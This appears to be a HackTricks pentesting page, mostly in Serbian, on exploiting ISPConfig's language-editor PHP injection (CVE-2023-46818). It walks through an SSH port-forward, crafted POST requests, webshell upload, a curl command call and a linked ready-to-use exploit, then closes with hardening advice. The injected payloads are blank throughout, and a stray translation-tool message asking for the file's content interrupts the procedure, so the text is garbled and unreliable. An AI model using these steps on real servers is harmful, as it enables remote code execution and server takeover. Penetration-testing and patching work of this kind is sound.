# ISPConfig {{#include ../../banners/hacktricks-training.md}} ## Overview ISPConfig je kontrolni panel za hosting otvorenog koda. Starije 3.2.x verzije su imale funkciju editora jezičkih fajlova koja je, kada je bila omogućena za super administratora, dozvoljavala ubacivanje proizvoljnog PHP koda putem malformisanog prevodilačkog zapisa. Ovo može dovesti do RCE u kontekstu web servera i, u zavisnosti od načina izvršavanja PHP-a, do eskalacije privilegija. Key default paths: - Web root often at `/var/www/ispconfig` when served with `php -S` or via Apache/nginx. - Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed). Tip: Ako je panel vezan lokalno (npr. `127.0.0.1:8080`), prosledite ga: ```bash ssh -L 9001:127.0.0.1:8080 user@target # then browse http://127.0.0.1:9001 ``` ## Uređivač jezika PHP code injection (CVE-2023-46818) - Pogođeno: ISPConfig up to 3.2.11 (fixed in 3.2.11p1) - Preduslovi: - Prijavite se kao ugrađeni superadmin nalog `admin` (prema proizvođaču, druge uloge nisu pogođene) - Uređivač jezika mora biti omogućen: `admin_allow_langedit=yes` u `/usr/local/ispconfig/security/security_settings.ini` - Uticaj: Autentifikovani admin može da ubaci proizvoljni PHP koji se upisuje u fajl sa prevodom i izvršava od strane aplikacije, ostvarujući RCE u web kontekstu References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below. ### Ručna procedura eksploatacije 1) Open/create a language file to obtain CSRF tokens Pošaljite prvi POST da inicijalizujete formu i parsirate CSRF polja iz HTML odgovora (`csrf_id`, `csrf_key`). Primer putanje zahteva: `/admin/language_edit.php`. 2) Inject PHP via records[] and save Podnesite drugi POST uključujući CSRF polja i zlonamerni zapis prevoda. Minimalne probe za izvršavanje komandi: ```http POST /admin/language_edit.php HTTP/1.1 Host: 127.0.0.1:9001 Content-Type: application/x-www-form-urlencoded Cookie: ispconfig_auth=... lang=en&module=admin&file=messages&csrf_id=&csrf_key=&records[]= ``` Van-kanalni test (posmatraj ICMP): ```http records[]= ``` 3) Pisanje fajlova i ubacivanje webshell-a Koristite `file_put_contents` da kreirate fajl u web-dostupnoj putanji (npr. `admin/`): ```http records[]= ``` Zatim napiši jednostavan webshell koristeći base64 da izbegneš loše karaktere u POST telu: ```http records[]= ``` Nedostaje sadržaj fajla. Pošaljite sadržaj src/network-services-pentesting/pentesting-web/ispconfig.md (ili nalepite tekst) koji želite da prevedem na srpski. ```bash curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' ``` Ako se PHP izvršava kao root (npr. preko `php -S 127.0.0.1:8080` koji je pokrenuo root), to omogućava trenutni root RCE. U suprotnom, dobijate izvršavanje koda kao korisnik web servera. ### Python PoC Spreman za upotrebu exploit automatizuje rukovanje tokenima i isporuku payload-a: - [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) Primer pokretanja: ```bash python3 cve-2023-46818.py http://127.0.0.1:9001 admin ``` ### Ojačavanje - Ažurirajte na 3.2.11p1 ili noviju verziju - Onemogućite uređivač jezika osim ako nije strogo neophodan: ``` admin_allow_langedit=no ``` - Izbegavajte pokretanje panela kao root; podesite PHP-FPM ili web server da spusti privilegije - Obezbedite snažnu autentifikaciju za ugrađeni `admin` nalog ## References - [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/) - [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818) - [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) - [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) {{#include ../../banners/hacktricks-training.md}}